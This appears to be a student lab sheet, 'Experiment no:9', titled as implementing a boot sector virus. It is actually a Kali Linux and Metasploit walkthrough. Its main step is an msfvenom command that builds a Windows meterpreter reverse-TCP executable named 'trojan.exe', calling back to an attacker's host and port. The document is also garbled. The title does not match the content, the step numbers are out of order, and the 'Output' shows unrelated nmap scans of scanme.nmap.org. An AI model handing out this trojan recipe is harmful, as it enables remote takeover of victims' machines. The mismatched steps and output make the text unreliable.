

Experiment no:9

Experiment name: implement the boot sector virus

Procedure:

Step 1: Update and Upgrade Kali Linux

Open the terminal and type in: `sudo apt-get update`

Next, type in: `sudo apt-get upgrade`

Step 3: Fix any errors

If you see this, it means that bundler is either set up incorrectly or hasn't been updated.

To fix this, change the current directory (file) to `usr/share/metasploit-framework` by typing in:

```
>> cd /usr/share/metasploit-framework/
```

from the root directory. If you make a mistake, you can type in

```
>> cd ..
```

to go back to the previous directory or type in any directory after `cd` to go there.

3. Now that we are in the `metasploit-framework` directory, type in

```
>> gem install bundler
```

to install bundler, then type in

```
>> bundle install
```

4. If bundler is not the correct version, you should get a message telling you which version to install (in this case it was 1.17.3). Type in

```
>> gem install bundler: [version number]
```

and then type in: `gem update --system`

After all of that, everything should work perfectly.

```
>> cd /root
```

to go back to the root directory.

Step 2: Open exploit software

Open up the terminal and type in : `msfvenom`

Step 4: Choose our payload

To see a list of payloads: `msfvenom -l payloads`

Step 5: Customize our payload

```
msfvenom -l -o windows/meterpreter/reverse_tcp
```

Step 6: Generate the virus

Now that we have our payload, ip address, and port number, we have all the information that we need.

Type in:

Syntax:

```
msfvenom -p [payload] LHOST=[your ip address] LPORT=[the port number] -f [file type] > [path]
```

Example

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f exe > trojan.exe
```

Output:

```
kali@kali: ~  
Session Actions Edit View Help  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-04 10:36 -0400  
Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan  
SYN Stealth Scan Timing: About 0.35% done  
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0  
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0  
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0  
Nmap scan report for scanme.nmap.org (45.33.32.156)  
Host is up (0.46s latency).  
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f  
Not shown: 988 closed tcp ports (reset)  
PORT      STATE      SERVICE  
22/tcp    open      ssh  
80/tcp    open      http  
256/tcp   filtered  fw1-secureremote  
445/tcp   filtered  microsoft-ds  
554/tcp   filtered  rtsp  
1025/tcp  filtered  NFS-or-IIS  
1310/tcp  filtered  husky  
2099/tcp  filtered  h2250-annex-g  
2967/tcp  filtered  symantec-av  
5060/tcp  open      sip  
5061/tcp  open      sip-tls  
5900/tcp  filtered  vnc  
  
Nmap done: 1 IP address (1 host up) scanned in 59.98 seconds  
  
(kali@kali)-[~]  
$ nmap -T3 scanme.nmap.org  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-04 10:38 -0400  
Nmap scan report for scanme.nmap.org (45.33.32.156)  
Host is up (0.014s latency).  
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f  
Not shown: 988 filtered tcp ports (no-response)  
PORT      STATE      SERVICE  
80/tcp    open      http  
83/tcp    closed    mit-ml-dev  
139/tcp   closed    netbios-ssn  
143/tcp   closed    imap  
161/tcp   closed    snmp  
443/tcp   closed    https  
3389/tcp  closed    ms-wbt-server  
5002/tcp  closed    rfe  
5060/tcp  open      sip  
5061/tcp  open      sip-tls  
8080/tcp  closed    http-proxy  
8089/tcp  closed    unknown  
  
Nmap done: 1 IP address (1 host up) scanned in 41.65 seconds
```